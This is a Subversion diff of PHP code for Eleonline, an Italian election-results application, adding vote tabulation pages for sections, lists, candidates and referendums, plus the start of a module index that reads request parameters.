+			$condcirc="and id_circ=$id_circ";  //variabile aggiunta nelle select per le circ.
+			$res_sez = mysql_query("SELECT count(t1.num_sez) from ".$prefix."_ele_sezioni as t1, ".$prefix."_ele_sede as t2 where t1.id_cons=$id_cons and t1.id_sede=t2.id_sede and t2.id_circ=$id_circ",$dbi); //numero di sezioni nella circoscrizione
+			$res_min = mysql_query("SELECT min(t1.num_sez) from ".$prefix."_ele_sezioni as t1, ".$prefix."_ele_sede as t2 where t1.id_cons=$id_cons and t1.id_sede=t2.id_sede and t2.id_circ=$id_circ",$dbi); //setta minsez sulla prima sezione della circoscrizione
+			list($minsez)=mysql_fetch_row($res_min);
+			}
+		else
+			$res_sez = mysql_query("SELECT count(num_sez) from ".$prefix."_ele_sezioni where id_cons=$id_cons",$dbi);
+		list($tot_sez)=mysql_fetch_row($res_sez);
+		$num_sez=$tot_sez;//mysql_data_seek($res_sez,0);
+		if ($circo) $offsetsez=$num_sez+$minsez-1;//setta offsetsez sull'ultima sezione della circoscrizione
+		if(strstr( $op,"circo")) {
+				$res_sez = mysql_query("SELECT count(num_circ) from ".$prefix."_ele_circoscrizione where id_cons=$id_cons",$dbi);  //estrae il numero delle circoscrizioni
+				list($num_sez)=mysql_fetch_row($res_sez);
+			}
+#Tolgo la scelta della circoscrizione o collegio perché gestita per tutte le pagine in index.php
+/*			if ($circo){ // elenco per scelta circoscrizione
+				$res_sez = mysql_query("SELECT id_circ,descrizione,num_circ from ".$prefix."_ele_circoscrizione where id_cons=$id_cons",$dbi);
+				echo "<div >"._SCELTA_CIR.": 
+				<select name=\"id_circ\" class=\"modulo\" onChange=\"top.location.href=this.form.pagina.value+this.form.id_circ.options[this.form.id_circ.selectedIndex].value;return false\">";
+				while(list($id_rif,$descrizione,$num_cir)=mysql_fetch_row($res_sez)) {
+					if (!$id_circ) $id_circ=$id_rif;
+					$sel = ($id_rif == $id_circ) ? "selected=\"selected\"" : "";
+					echo "<option value=\"$id_rif\" $sel>";
+					for ($j=strlen($num_cir);$j<2;$j++) { echo "&nbsp;&nbsp;";}
+					echo $num_cir.") ".$descrizione."</option>";
+				}
+				echo "</select></div>";
+			
+			}
+*/
+			$visvot='';
+			if(strstr( $op,'candidato')){
+//			$numliste=mysql_num_rows($res_lis);
+				$visvot="cand";
+				if (!$csv){
+					$res_lis = mysql_query("SELECT id_lista, descrizione,num_lista from ".$prefix."_ele_lista where id_cons=$id_cons $condcirc order by num_lista",$dbi);
+					//elenco delle liste per la scelta
+					echo "<p>Scegli la lista: 
+					<select name=\"id_lista\" class=\"modulo\" onChange=\"top.location.href=this.form.pag.value+this.form.id_lista.options[this.form.id_lista.selectedIndex].value;return false\">";
+					while(list($id_rif,$descrizione,$num_lis) = mysql_fetch_row($res_lis)) {
+						if (!$id_lista) $id_lista=$id_rif;
+						$sel = ($id_rif == $id_lista) ? "selected=\"selected\"" : "";
+						echo "<option value=\"$id_rif\" $sel>";
+						for ($j=strlen($num_lis);$j<2;$j++) { echo "&nbsp;&nbsp;";}
+						echo $num_lis.") ".$descrizione."</option>";
+					}
+					echo "</select></p>";
+				}
+				$res_scr = mysql_query("SELECT count(t1.id_sez) from ".$prefix."_ele_voti_$tab as t1, ".$prefix."_ele_$tab as t2 where t2.id_lista=$id_lista and t1.id_cand=t2.id_cand group by t1.id_cand",$dbi);
+				$res_cand = mysql_query("SELECT id_cand, concat(cognome,' ', nome), num_cand from ".$prefix."_ele_$tab where id_cons=$id_cons and id_lista=$id_lista order by num_cand",$dbi);
+				if ($circo) $condcirc="and t5.id_circ=$id_circ";
+				$res_voti = mysql_query("select $tab2, t1.num_cand, concat(t1.cognome,' ', t1.nome), sum(t2.voti),'','','','','' 
+				from ".$prefix."_ele_candidati as t1, ".$prefix."_ele_voti_candidati as t2, "
+				.$prefix."_ele_sezioni as t3, ".$prefix."_ele_sede as t4, ".$prefix."_ele_circoscrizione as t5
+				where t1.id_lista=$id_lista
+				and t1.id_cons=$id_cons
+				and t1.id_cand=t2.id_cand
+				and t2.id_sez=t3.id_sez
+				and t3.id_sede=t4.id_sede
+				and t4.id_circ=t5.id_circ $condcirc
+				group by t1.num_cand,$tab3
+				order by $tab3,t1.num_cand",$dbi);
+
+		}else{
+			if (!$csv)
+				echo "<input type=\"hidden\" name=\"id_lista\" value=\"\"></input>";
+				
+				// camera e senato nel 2006 aggiunte le somme della coalizione
+				// divise per circo e sez. in quanto nella tabella del gruppo
+				// all'atto dell'immsione non viene fatta la somma
+				// quindi leggere prima i voti di lista e poi agganciali al gruppo
+				// la var $tab diviene lista, $tab15 diviene gruppo in caso di somma
+				// dei voti di lista...oltre naturalmnte alle condizioni messe in variabile
+				// 4 aprile 2006 by luc
+				if ($votog && $tab=="gruppo"){ // camera e senato 2006
+					$t="t9";
+					$tab="lista";
+					$tab15="gruppo";
+					$add_1= ",".$prefix."_ele_gruppo as t9";
+					$and_1="and t1.id_gruppo=t9.id_gruppo";
+				}else{
+					$t="t1";
+					$tab15=$tab;
+					$add_1='';
+					$and_1='';
+				}
+				// fine della modifica
+				 
+				$res_scr = mysql_query("SELECT count(id_sez) from ".$prefix."_ele_voti_$tab15 where id_cons='$id_cons' group by id_$tab15",$dbi); //numero sezioni scrutinate
+				$res_cand = mysql_query("SELECT id_$tab15, descrizione, num_$tab15 from ".$prefix."_ele_$tab15 where id_cons='$id_cons' $condcirc order by num_$tab15",$dbi);
+				if ($circo) $condcirc="and t5.id_circ=$id_circ";			
+                                if ($tab=="gruppo")
+                                        $votigl=" sum(t3.validi),sum(t3.nulli),sum(t3.bianchi),sum(t3.contestati),sum(t3.voti_nulli)";
+                                else
+                                        if ($votog) $votigl=" (t3.validi_lista),(t3.nulli),(t3.bianchi),(t3.contestati_lista),(t3.voti_nulli_lista)";
+                                        else $votigl=" sum(t3.validi_lista),sum(t3.nulli),sum(t3.bianchi),sum(t3.contestati_lista),sum(t3.voti_nulli_lista)";
+
+
+
+
+
+				$res_voti = mysql_query("select $tab2, $t.num_$tab15, $t.descrizione, sum(t2.voti), $votigl
+				from 
+				".$prefix."_ele_$tab as t1, 
+				".$prefix."_ele_voti_$tab as t2, 
+				".$prefix."_ele_sezioni as t3, 
+				".$prefix."_ele_sede as t4, 
+				".$prefix."_ele_circoscrizione as t5
+				$add_1
+				
+				where t1.id_cons=$id_cons 
+				and t1.id_$tab=t2.id_$tab
+				$and_1
+				
+				and t2.id_sez=t3.id_sez
+				and t3.id_sede=t4.id_sede
+				and t4.id_circ=t5.id_circ $condcirc
+				
+				
+				group by $t.num_$tab15,$tab3
+				order by $tab3,$t.num_$tab15",$dbi);
+			}
+			if ($res_scr) list($tot_scr)=mysql_fetch_row($res_scr);else $tot_scr=0;
+			if ($res_cand) $num_cand=mysql_num_rows($res_cand); else $num_cand=0;
+			if(!$circo){
+				if (!(0 < $minsez and $minsez<=$num_sez)) $minsez=1;
+				if (!(0<$offsetsez and $offsetsez<=$num_sez)) $offsetsez=$num_sez;
+			}
+			if (!(0 < $min and $min<=$num_cand)) $min=1;
+			if (!(0<$offset and $offset<=$num_cand)) $offset=$num_cand;
+			if (!$csv) {		
+				echo "<br /><table>
+				  <tr><td><h5>$pagina</h5></td></tr>";
+				echo "<tr><td>"._DA.":&nbsp;  <select name=\"min\" class=\"modulo\">";
+				while(list($id_rif,$descrizione,$num_lis) = mysql_fetch_row($res_cand)) {
+					if (!$min) $min=$num_lis;
+					$sel = ($num_lis == $min) ? "selected=\"selected\"" : "";
+					echo "<option value=\"$num_lis\" $sel>";
+					for ($j=strlen($num_lis);$j<2;$j++) { echo "&nbsp;&nbsp;";}
+					echo $num_lis.") ".$descrizione."</option>";
+					
+				}
+				echo "</select></td></tr>";
+				echo "<tr><td>&nbsp;&nbsp;"._A.":&nbsp; <select name=\"offset\" class=\"modulo\">";
+				mysql_data_seek($res_cand,0);
+				while(list($id_rif,$descrizione,$num_lis) = mysql_fetch_row($res_cand)) {
+					if (!$offset) $offset=$num_lis;
+					$sel = ($num_lis == $offset) ? "selected=\"selected\"" : "";
+					echo "<option value=\"$num_lis\" $sel>";
+					for ($j=strlen($num_lis);$j<2;$j++) { echo "&nbsp;&nbsp;";}
+					echo $num_lis.") ".$descrizione."</option>";
+					
+				}
+				echo "</select></td></tr></table>";
+				echo "<table><tr><td>";
+				if(!$circo)
+				echo "$tipo1 n. <input  name=\"minsez\" value=\"$minsez\" size=\"4\" ></input>";
+				echo "</td>";
+				echo "<td>";
+				if(!$circo)
+				echo _A." n. <input  name=\"offsetsez\" value=\"$offsetsez\" size=\"4\" ></input> (max. $num_sez)";
+				echo "</td>
+				<td align=\"right\">"._MOSTRA." $tipo2 <br/>"._PERCOL."<input type=\"radio\" name=\"orvert\" $righe value=\"0\"></input><br/>"._PERRIGHE." <input
+				type=\"radio\" name=\"orvert\" $colonne value=\"1\"></input>";
+				echo "<input type=\"hidden\" name=\"name\" value=\"Elezioni\"></input>
+				</td></tr>";
+$diff=($offsetsez-$minsez);
+if ($minsez>1){
+	$minsez_p= ($minsez-$diff)>1 ? $minsez-$diff-1:1;
+	 
+	$offsetsez_p=$offsetsez-$diff-1;
+				echo "<tr><td valign=\"middle\"><div align=\"right\"><a href=\"modules.php?name=Elezioni&amp;file=index&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;op=$op&amp;min=$min&amp;offset=$offset&amp;minsez=$minsez_p&amp;offsetsez=$offsetsez_p&amp;perc=$perc&amp;id_lista=$id_lista\"> <- Precedenti</a></div></td>";
+}else{echo "<tr><td></td>";}
+if ($offsetsez<$num_sez){
+        $minsez_s=$minsez+$diff+1;
+        $offsetsez_s= ($offsetsez+$diff)>$num_sez ? $num_sez: $offsetsez+$diff+1;
+
+				echo "<td><div><a href=\"modules.php?name=Elezioni&amp;file=index&amp;op=$op&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;orvert=$orvert&amp;min=$min&amp;offset=$offset&amp;minsez=$minsez_s&amp;offsetsez=$offsetsez_s&amp;perc=$perc&amp;id_lista=$id_lista\"> Successive -></a></div></td><td></td></tr>";
+}else{echo "<td></td><td></td></tr>";}	
+
+				
+				
+				echo "<tr>";
+				if (!strstr( $op,'candidato')) {
+					echo "<td>"._VIS_PERC.": <input type=\"checkbox\" name=\"perc\" value=\"true\"";
+					if($perc=='true') echo " checked=\"true\"";
+					echo "></input></td>";
+				}
+				echo "<td>";
+				echo "<input type=\"hidden\" name=\"op\" value=\"$op\"></input>";			
+				echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\"></input>";
+				echo "<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\"></input>";			
+	
+				echo "<input type=\"hidden\" name=\"pag2\" value=\"modules.php?name=Elezioni&amp;op=$op&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;csv=1&amp;orvert=$orvert&amp;min=$min&amp;offset=$offset&amp;minsez=$minsez&amp;offsetsez=$offsetsez&amp;perc=$perc&amp;id_lista=\"></input>";	
+
+				 echo "<input type=\"submit\" name=\"update\" value=\""._OK."\"></input>"; 
+
+
+				#### recupera dati stampa supporti diversi dati
+				//echo "</tr><tr><td><b>"._COMUNE." $descr_comune</b> - "._RISULTATI.": $descr_cons <br/>"; 
+				//echo "tot:$tot_scr";
+				//if ($tipo_cons!=4 && $tot_scr) echo " - Sezioni scrutinate: $tot_scr su $tot_sez";
+
+				# liste e gruppi da.... a	  
+				if (!strstr( $op,'candidato')) {
+				      $res_cand2 = mysql_query("SELECT descrizione from ".$prefix."_ele_$tab15 where id_cons='$id_cons' and num_$tab15 ='$min'",$dbi);
+				      list($descrizione)= mysql_fetch_row($res_cand2);
+				      $list1 ="da $descrizione ";  
+
+
+
+				      $res_cand3 = mysql_query("SELECT descrizione from ".$prefix."_ele_$tab15 where id_cons='$id_cons' and num_$tab15 ='$offset'",$dbi);
+				      list($descrizione)= mysql_fetch_row($res_cand3);
+				      $list1 .=" a $descrizione <br/>";
+			      
+				}else{$list1='';}
+
+				# nome della lista
+				if (!isset($list2)) $list2='';
+				if (strstr( $op,'candidato')) { 
+					$res_lis2 = mysql_query("SELECT num_lista, descrizione from ".$prefix."_ele_lista where id_lista=$id_lista",$dbi);
+					list($num_lista2,$descr_lista2)= mysql_fetch_row($res_lis2);
+					$list2 .=" Lista n. $num_lista2 - $descr_lista2 <br/>";
+				
+					$res_cand4 = mysql_query("SELECT concat(cognome,' ', nome) from ".$prefix."_ele_$tab where id_cons=$id_cons and id_lista=$id_lista and num_cand=$min",$dbi);
+					list($descrizione)= mysql_fetch_row($res_cand4);
+				         $list3 ="da $descrizione "; 
+					$res_cand5 = mysql_query("SELECT concat(cognome,' ', nome) from ".$prefix."_ele_$tab where id_cons=$id_cons and id_lista=$id_lista and num_cand=$offset",$dbi);
+					list($descrizione)= mysql_fetch_row($res_cand5);
+				         $list3 .="a $descrizione <br/>";
+
+				}else{ $list2 .='';$list3='';}
+
+			      
+				$datipdf="<b>"._COMUNE." $descr_comune</b> - "._RISULTATI.": $descr_cons<br/><b>$pagina</b><br/><br/> $list1 $list2 $list3 
+				dalla $tipo3 n. <b>$minsez</b> alla $tipo3 n. <b>$offsetsez</b> di <b>$num_sez</b> $tipo2<br/><br/>";
+				
+				
+
+
+				
+				  # verificare la stampa sulle circoscrizioni
+				if(!$circo){ 
+				  echo "</td><td><a href=\"".$_SERVER['PHP_SELF']."?name=Elezioni&amp;op=$op&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;csv=1&amp;orvert=$orvert&amp;min=$min&amp;offset=$offset&amp;minsez=$minsez&amp;offsetsez=$offsetsez&amp;perc=$perc&amp;id_lista=$id_lista&amp;datipdf=$datipdf\" ><img class=\"image\"  src=\"modules/Elezioni/images/printer.gif\" alt=\"Stampa\" /></a>";
+				  echo "<a href=\"".$_SERVER['PHP_SELF']."?name=Elezioni&amp;op=$op&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;csv=1&amp;orvert=$orvert&amp;min=$min&amp;offset=$offset&amp;minsez=$minsez&amp;offsetsez=$offsetsez&amp;perc=$perc&amp;id_lista=$id_lista&amp;xls=1&amp;datipdf=$datipdf\" ><img class=\"image\"  src=\"modules/Elezioni/images/csv.gif\" alt=\"Export Csv\" /></a>";
+				  echo "<a href=\"".$_SERVER['PHP_SELF']."?name=Elezioni&amp;op=$op&amp;id_cons_gen=$id_cons_gen&amp;id_comune=$id_comune&amp;csv=1&amp;orvert=$orvert&amp;min=$min&amp;offset=$offset&amp;minsez=$minsez&amp;offsetsez=$offsetsez&amp;perc=$perc&amp;id_lista=$id_lista&amp;pdf=1&amp;datipdf=$datipdf\" ><img class=\"image\"  src=\"modules/Elezioni/images/pdf.gif\" alt=\"Export Pdf\" /></a>";
+				}
+				echo "</td></tr></table></div></form>";
+				
+				if (strstr( $op,'candidato')) echo $list2;	
+				
+				
+			}
+			if (!$csv){
+				//echo "<table border=\"0\" width=\"100%\"><tr><td align=\"center\"><h5> Sezioni scrutinate";
+				//if ($tipo_cons!=4) echo ": $tot_scr su $tot_sez";
+				//echo "</h5></td></tr></table>";
+			}
+			$y=1;
+			$ar[0][0]=$tipo2;
+			$ra[0][0]=$tipo2;
+			$num_sez++;
+			$voticompl=0;
+			$ominsez=$minsez-1;
+			$sevaltot=0;
+			$senultot=0;
+			$sebiatot=0;
+			$secontot=0;
+			$sevnutot=0;
+		      ////////////////////////////////////////////////////////////////////
+		      // sandro: carica i numeri di sezione dal DB - giugno 2009
+		      // caso: sezioni in collegi diversi non consecutive
+			if($circo) { $secirco=" and t2.id_circ=$id_circ";} else $secirco="and t1.num_sez >= $minsez and t1.num_sez <= $offsetsez";
+				$numsezioni = $offsetsez-$ominsez;
+				$res_numsez = mysql_query("SELECT t1.num_sez from ".$prefix."_ele_sezioni as t1, ".$prefix."_ele_sede as t2 where t1.id_cons=$id_cons and t1.id_sede=t2.id_sede $secirco order by t1.num_sez",$dbi);
+				for ($z=1;$z<=($offsetsez-$ominsez);$z++) {
+					$res=mysql_fetch_row($res_numsez);
+					$ar[$z][0]=$res[0];
+					$pos[$z]=$res[0];
+				}
+			if (!isset($pos)) $pos[0]=0;
+			$minpos=min($pos);
+			$maxpos=max($pos);
+			////////////////////////////////////////////////////////////////////
+			if ($res_voti)
+			while (list($num_circ,$desc_circ,$num_cand,$nome,$voti,$sevalidi,$senulli,$sebianchi,$secontestati,$sevonulli) = mysql_fetch_row($res_voti)){
+				if ($num_circ<$minpos or $num_circ>$maxpos) continue;
+					$z=array_search($num_circ, $pos); 
+				if (!isset($votitot[($z)])) {
+					$votitot[($z)]=0;
+				$sevaltot+=$sevalidi;
+				$senultot+=$senulli;
+				$sebiatot+=$sebianchi;
+				$secontot+=$secontestati;
+				$sevnutot+=$sevonulli;
+				}
+				$votitot[($z)]+=$voti;
+				$voticompl+=$voti;
+			}
+			if ($voticompl) mysql_data_seek($res_voti,0);
+			$piuvot=0;
+			if ($visvot!='cand') $piuvot=5;
+
+
+
+
+			for ($y=$min;$y<=($offset+$piuvot);$y++) $ar[0][$y]="&nbsp;";
+			for ($z=1;$z<=($offsetsez-$ominsez);$z++)
+ 				for ($y=$min;$y<=($offset+$piuvot);$y++) $ar[$z][$y]="&nbsp;"; //inizializza le celle interne
+			$onetime="";
+			if ($res_voti)
+			while (list($num_circ,$desc_circ,$num_cand,$nome,$voti,$sevalidi,$senulli,$sebianchi,$secontestati,$sevonulli) = mysql_fetch_row($res_voti)){
+				if ($num_cand>=$min and $num_cand<=$offset){
+					$z=array_search($num_circ, $pos); 
+					if($num_circ>=$minpos and $num_circ <=$maxpos){
+						$ar[0][$num_cand]=$num_cand.") ".$nome;
+						if ($desc_circ && $onetime!=$desc_circ) {$ar[($z)][0].=") ".$desc_circ; $onetime=$desc_circ;}
+						$percento=$voti;
+						if ($perc=='true' and $votitot[($z)]) 
+						{
+							$percento=$voti."<br /><span class=\"red\"><i>".number_format($voti*100/$votitot[($z)],2)." %</i></span>";
+						}
+						$ar[($z)][$num_cand]=$percento;
+					}
+					if (!isset($temp[$num_cand])) $temp[$num_cand]=0;
+					$temp[$num_cand]+=$voti;
+					
+				}
+				if ($visvot!='cand'){
+				$posvoti=($offset);
+				$ar[0][$posvoti+1]='<b>Voti Validi</b>';
+				$ar[0][$posvoti+2]='<b>Schede Nulle</b>';
+				$ar[0][$posvoti+3]='<b>Schede Bianche</b>';
+				$ar[0][$posvoti+4]='<b>Voti Contestati</b>';
+				$ar[0][$posvoti+5]='<b>Voti Nulli</b>';
+				if (($maxpos)>=$num_circ and $minpos<=$num_circ){  
+				$posvoti++;
+				$ar[($z)][$posvoti++]="<b>$sevalidi</b>";
+				$ar[($z)][$posvoti++]="<b>$senulli</b>";
+				$ar[($z)][$posvoti++]="<b>$sebianchi</b>";
+				$ar[($z)][$posvoti++]="<b>$secontestati</b>";
+				$ar[($z)][$posvoti]="<b>$sevonulli</b>"; 
+				}
+				}
+			}
+			if (($offsetsez+1)>=$num_sez){ 
+				$ar[(2+$offsetsez-$minsez)][0]="<b>"._TOT."<br />"._COMPLESSIVO."</b>";
+				if(isset($temp)) {
+					while (list($key,$voti)= each($temp)) {
+						$percento="<b>$voti</b>";
+						if ($perc=='true' and $voticompl) 
+						{
+							$percento="<b>$voti<br /><span class=\"red\"><i>".number_format($voti*100/$voticompl,2)." %</i></span></b>";
+						}
+						$ar[2+$offsetsez-$minsez][$key]=$percento;
+					}
+				}
+				if ($visvot!='cand') {
+				$key=$offset+1;
+				$tmp=array($sevaltot,$senultot,$sebiatot,$secontot,$sevnutot);
+				$voticompl=$sevaltot+$senultot+$sebiatot+$secontot+$sevnutot;
+				while(list($k,$voti)= each($tmp)) {
+					$percento="<b>$voti</b>";
+                                                if ($perc=='true' and $voticompl)
+                                                {
+                                                        $percento="<b>$voti<br /><span class=\"red\"><i>".number_format($voti*100/$voticompl,2)." %</i></span></b>";
+                                                }
+                                                $ar[2+$offsetsez-$minsez][++$key]=$percento;
+
+				}
+				}
+			}
+			if($orvert!=1) {
+				$i=0;
+				foreach ( $ar as $riga) {
+					$y=0;
+					foreach($riga as $cella) {
+						$ra[$y++][$i]=$cella;
+					}
+					$i++;
+				}
+				crea_tabella($ra);
+			}else{
+				crea_tabella($ar);
+			}
+//e' un referendum  
+		}else{
+			$res_lis = mysql_query("SELECT id_gruppo, descrizione,num_gruppo from ".$prefix."_ele_gruppo where id_cons=$id_cons order by num_gruppo",$dbi);
+			$numliste=mysql_num_rows($res_lis);
+
+			if (!isset($offset)) $offset=10;
+			if (!isset($min)) $min=1;
+			if (!isset($offsetsez)) $offsetsez=25; //lo 0 viene sostituito dal totale di sezioni presenti
+			if (!isset($minsez)) $minsez=1;
+			echo "<form id=\"voti\" method=\"post\" action=\"modules.php\">";
+			echo "<div><input type=\"hidden\" name=\"name\" value=\"Elezioni\"></input>";			
+			echo "<input type=\"hidden\" name=\"op\" value=\"$op\"></input>";			
+			echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\"></input>";			
+			echo "<input type=\"hidden\" name=\"id_comune\" value=\"$id_comune\"></input>";			
+			echo "<table><tr><td>"._SCELTA." "._CONSULTAZIONE.": <select name=\"id_gruppo\">";
+			while(list($id_rif,$descrizione,$num_lis) = mysql_fetch_row($res_lis)) {
+				if (!$id_gruppo) $id_gruppo=$id_rif;
+				$sel = ($id_rif == $id_gruppo) ? "selected=\"selected\"" : "";
+				echo "<option value=\"$id_rif\" $sel>";
+				for ($j=strlen($num_lis);$j<2;$j++) { echo "&nbsp;&nbsp;";}
+				echo $num_lis.") ".strip_tags(substr($descrizione,0,50))."</option>";
+			}
+			echo "</select></td></tr>";
+			echo "<tr><td>"._VIS_PERC.": <input type=\"checkbox\" name=\"perc\" value=\"true\"";
+			if($perc=='true') echo " checked=\"true\"";
+			echo "></td>";
+			echo "<td><input type=\"submit\" name=\"update\" value=\""._OK."\"></td></tr></table></form>";
+			$res_ref= mysql_query("select num_gruppo,descrizione from ".$prefix."_ele_gruppo where id_gruppo=$id_gruppo", $dbi);
+			$res = mysql_query("select $tab2, t1.num_gruppo, t1.descrizione , t1.simbolo, 
+			sum(t2.si),  sum(t2.no),sum(t2.validi),  sum(t2.nulli),sum(t2.bianchi),  sum(t2.contestati)
+			from ".$prefix."_ele_gruppo as t1
+			left join ".$prefix."_ele_voti_ref as t2 on (t1.id_gruppo=t2.id_gruppo)
+			left join ".$prefix."_ele_sezioni as t3 on (t2.id_sez=t3.id_sez)
+			left join ".$prefix."_ele_sede as t4 on (t3.id_sede=t4.id_sede)
+			left join ".$prefix."_ele_circoscrizione as t5 on (t4.id_circ=t5.id_circ)
+			where 	t1.id_cons='$id_cons' and t1.id_gruppo=$id_gruppo
+			group by t2.id_gruppo,$tab3
+			order by $tab3, t1.num_gruppo
+			", $dbi);
+			$num_sez=mysql_num_rows($res);
+			list($num_gruppo,$descr)= mysql_fetch_row($res_ref);
+			echo "<table><tr><td><b>Referendum n. ".$num_gruppo.") </b></td><td>".$descr."</td></tr></table></form>";
+		$y=1;
+		$ar[0][0]=$tipo2;
+		$ar[0][1]=_SI;
+		$ar[0][2]=_NO;
+		$ar[0][3]=_VALIDI;
+		$ar[0][4]=_NULLI;
+		$ar[0][5]=_BIANCHI;
+		$ar[0][6]=_CONTESTATI;
+		
+		while (list($num_gruppo,$desc_ref) = mysql_fetch_row($res_ref)){
+			$ar[0][$i++]= $num_gruppo.") ".$desc_ref;
+			$ar[1][$y++]= "SI";
+			$ar[1][$y++]= "NO";
+		}
+		$num_sez++;
+		$tot_si=0;
+		$tot_no=0;
+		$tot_va=0;
+		$tot_nu=0;
+		$tot_bi=0;
+		$tot_co=0;
+		while (list($num_circ,$desc_circ,$num_gruppo,$desc_ref,$simbolo,$si,$no,$validi,$nulli,$bianchi, $contestati)  = mysql_fetch_row($res)){
+			$i=1;
+			$votanti=$validi+$nulli+$bianchi+$contestati;
+			$tot_si+=$si;
+			$tot_no+=$no;
+			$tot_va+=$validi;
+			$tot_nu+=$nulli;
+			$tot_bi+=$bianchi;
+			$tot_co+=$contestati;
+			$ar[$num_circ][0]=$num_circ."<br />".$desc_circ;
+			if($validi){
+			$ar[$num_circ][$i++]= $perc=='true' ? $si."<br /><span class=\"red\">".number_format($si*100/$validi,2)."%</span>":$si;
+			$ar[$num_circ][$i++]= $perc=='true' ? $no."<br /><span class=\"red\">".number_format($no*100/$validi,2)."%</span>":$no;
+			}else{
+			$ar[$num_circ][$i++]= $perc=='true' ? $si."<br /><span class=\"red\">0.00%</span>":$si;
+			$ar[$num_circ][$i++]= $perc=='true' ? $no."<br /><span class=\"red\">0.00%</span>":$no;
+			}
+			if($votanti){
+			$ar[$num_circ][$i++]= $perc=='true' ? $validi."<br /><span class=\"red\">".number_format($validi*100/$votanti,2)."%</span>":$validi;
+			$ar[$num_circ][$i++]= $perc=='true' ? $nulli."<br /><span class=\"red\">".number_format($nulli*100/$votanti,2)."%</span>":$nulli;
+			$ar[$num_circ][$i++]= $perc=='true' ? $bianchi."<br /><span class=\"red\">".number_format($bianchi*100/$votanti,2)."%</span>":$bianchi;
+			$ar[$num_circ][$i++]= $perc=='true' ? $contestati."<br /><span class=\"red\">".number_format($contestati*100/$votanti,2)."%</span>":$contestati;
+			}else{
+			$ar[$num_circ][$i++]= $perc=='true' ? $validi."<br /><span class=\"red\">0.00%</span>":$validi;
+			$ar[$num_circ][$i++]= $perc=='true' ? $nulli."<br /><span class=\"red\">0.00%</span>":$nulli;
+			$ar[$num_circ][$i++]= $perc=='true' ? $bianchi."<br /><span class=\"red\">0.00%</span>":$bianchi;
+			$ar[$num_circ][$i++]= $perc=='true' ? $contestati."<br /><span class=\"red\">0.00%</span>":$contestati;
+			}
+		}
+		$i=1;
+		$tot_vo=$tot_va+$tot_nu+$tot_bi+$tot_co;
+#		if($tot_va==0) $tot_va=1;
+#		if($tot_vo==0) $tot_vo=1;
+		$ar[$num_sez][0]=_TOT."<br />"._COMPLESSIVO;
+		if($tot_va){
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_si."<br /><span class=\"red\">".number_format($tot_si*100/$tot_va,2)."%</span>":$tot_si;
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_no."<br /><span class=\"red\">".number_format($tot_no*100/$tot_va,2)."%</span>":$tot_no;
+		}else{
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_si."<br /><span class=\"red\">0.00%</span>":$tot_si;
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_no."<br /><span class=\"red\">0.00%</span>":$tot_no;
+		}
+		if($tot_vo){
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_va."<br /><span class=\"red\">".number_format($tot_va*100/$tot_vo,2)."%</span>":$tot_va;
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_nu."<br /><span class=\"red\">".number_format($tot_nu*100/$tot_vo,2)."%</span>":$tot_nu;
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_bi."<br /><span class=\"red\">".number_format($tot_bi*100/$tot_vo,2)."%</span>":$tot_bi;
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_co."<br /><span class=\"red\">".number_format($tot_co*100/$tot_vo,2)."%</span>":$tot_co;
+		}else{
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_va."<br /><span class=\"red\">0.00%</span>":$tot_va;
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_nu."<br /><span class=\"red\">0.00%</span>":$tot_nu;
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_bi."<br /><span class=\"red\">0.00%</span>":$tot_bi;
+		$ar[$num_sez][$i++]= $perc=='true' ? $tot_co."<br /><span class=\"red\">0.00%</span>":$tot_co;
+		}
+		crea_tabella($ar);
+	}
+	if ($csv) echo "</body>\n</html>";
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/images/index.html
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/images/index.html	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/images/index.html	(revision 44)
@@ -0,0 +1,1 @@
+ 
Index: /trunk/elezioni/trunk/client/modules/Elezioni/index.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/index.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/index.php	(revision 44)
@@ -0,0 +1,1100 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Ultima modifica 22 maggio 2009 luc - candidati europee */
+
+if (!defined('MODULE_FILE')) {
+    die ("Non puoi accedere al file direttamente...");
+}
+
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ?
+	$_GET : $_POST;
+
+
+if (isset($param['rss'])) $rss=intval($param['rss']); else $rss='0';
+if (isset($param['xls'])) $xls=intval($param['xls']); else $xls='0';
+if (isset($param['pdf'])) $pdf=intval($param['pdf']); else $pdf='0';
+if (isset($param['datipdf'])) get_magic_quotes_gpc() ? $datipdf=$param['datipdf']:$datipdf=addslashes($param['datipdf']); else $datipdf='';
+if(isset($param['visgralista'])) $visgralista=1;
+if (isset($param['id_comune'])) $id_comune=intval($param['id_comune']); else $id_comune=$siteistat;
+if (isset($param['id_cons_gen'])) $id_cons_gen=intval($param['id_cons_gen']); else $id_cons_gen=$id_cons_pred;// cons predefinita
+if (isset($param['op'])) $op=$param['op']; else $op='';
+if (isset($param['minsez'])) $minsez=intval($param['minsez']); else $minsez='';
+if (isset($param['id_lista'])) $id_lista=intval($param['id_lista']); else $id_lista='';
